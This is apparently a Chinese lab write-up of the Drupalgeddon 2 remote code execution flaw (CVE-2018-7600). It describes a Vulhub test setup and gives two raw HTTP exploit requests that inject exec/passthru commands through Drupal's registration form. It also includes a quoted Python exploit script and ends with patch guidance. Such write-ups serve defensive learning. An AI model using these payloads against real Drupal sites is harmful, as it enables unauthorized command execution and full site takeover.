Drupal Drupalgeddon 2 远程代码执行漏洞(CVE-2018-7600)

    技术2025-05-27  15

    Drupal Drupalgeddon 2 远程代码执行漏洞(CVE-2018-7600)

    一、漏洞介绍

    2018年3月28日,Drupal官方发布新补丁和安全公告,宣称Drupal 6,7,8等多个子版本存在远程代码执行漏洞,攻击者可以利用Drupal网站漏洞,执行恶意代码,导致网站被完全控制。

    漏洞影响范围: 截止2018年3月29日,还未有公开PoC Drupal 6.x版本 Drupal 7.x版本 Drupal 8.x版本

    二、漏洞危害

    远程代码执行。

    三、漏洞验证

    环境搭建:

    实验环境系统IP地址攻击机win10192.168.18.7靶机win10192.168.18.7:8088

    这里我使用Vulhub搭建环境: 执行如下命令启动drupal 8.5.0的环境: bash docker-compose up -d环境启动后,访问 http://your-ip:8088/(这里我修改了配置文件,默认是8080端口) 将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。 安装成功后如图所示:

    PoC1:

    我们向安装完成的drupal发送如下数据包:

    该POC仅可执行whoami,id等少量命令。

    POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 Host: your-ip:8088 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 103 form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id

    成功执行代码,这个代码最终执行了id命令:

    PoC2:

    POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 Host: 192.168.18.7:8088 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.18.7:8088/user/register X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------99533888113153068481322586663 Content-Length: 620 Connection: close -----------------------------99533888113153068481322586663 Content-Disposition: form-data; name="mail[#post_render][]" passthru -----------------------------99533888113153068481322586663 Content-Disposition: form-data; name="mail[#type]" markup -----------------------------99533888113153068481322586663 Content-Disposition: form-data; name="mail[#markup]" ls -----------------------------99533888113153068481322586663 Content-Disposition: form-data; name="form_id" user_register_form -----------------------------99533888113153068481322586663 Content-Disposition: form-data; name="_drupal_ajax"

    PoC3:

    参考a2u/CVE-2018-7600,修改poc如下:

    该PoC在Drupal 7.x上不起作用。

    #!/usr/bin/env python3 import sys import requests print ('################################################################') print ('# Proof-Of-Concept for CVE-2018-7600') print ('# by Vitalii Rudnykh') print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders') print ('# https://github.com/a2u/CVE-2018-7600') print ('################################################################') print ('Provided only for educational or information purposes\n') target = input('Enter target url (example: https://domain.ltd/): ') # Add proxy support (eg. BURP to analyze HTTP(s) traffic) # set verify = False if your proxy certificate is self signed # remember to set proxies both for http and https # # example: # proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'} # verify = False proxies = {} verify = True url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo `ls -al` | tee hello.txt'} r = requests.post(url, proxies=proxies, data=payload, verify=verify) check = requests.get(target + 'hello.txt', proxies=proxies, verify=verify) if check.status_code != 200: sys.exit("Not exploitable") print ('\nCheck: '+target+'hello.txt')

    执行python exploit.py,输入URL: 查看http://192.168.18.7:8088/hello.txt

    四、漏洞修复

    官方已经修复此漏洞,请及时更新Drupal版本或参考补丁自行修复: Drupal 7.x 请更新至7.58版本(https://www.drupal.org/project/drupal/releases/7.58) 或参考此补丁进行修复 (https://cgit.drupalcode.org/drupal/rawdiff/?h=7.x&id=2266d2a83db50e2f97682d9a0fb8a18e2722cba5) Drupal 8.3.x 请更新至8.3.9版本(https://www.drupal.org/project/drupal/releases/8.3.9) 或参考此补丁进行修复(https://cgit.drupalcode.org/drupal/rawdiff/?h=8.5.x&id=5ac8738fa69df34a0635f0907d661b509ff9a28f) Drupal 8.4.x 请更新至8.4.6版本(https://www.drupal.org/project/drupal/releases/8.4.6) 或参考此补丁进行修复(https://cgit.drupalcode.org/drupal/rawdiff/?h=8.5.x&id=5ac8738fa69df34a0635f0907d661b509ff9a28f) Drupal 8.5.x 请更新至8.5.1版本(https://www.drupal.org/project/drupal/releases/8.5.1) 或参考此补丁进行修复(https://cgit.drupalcode.org/drupal/rawdiff/?h=8.5.x&id=5ac8738fa69df34a0635f0907d661b509ff9a28f)

    参考链接: https://github.com/a2u/CVE-2018-7600 https://github.com/dreadlocked/Drupalgeddon2 https://github.com/g0rx/CVE-2018-7600-Drupal-RCE https://www.jianshu.com/p/7c410db788ed

    Processed: 0.015, SQL: 9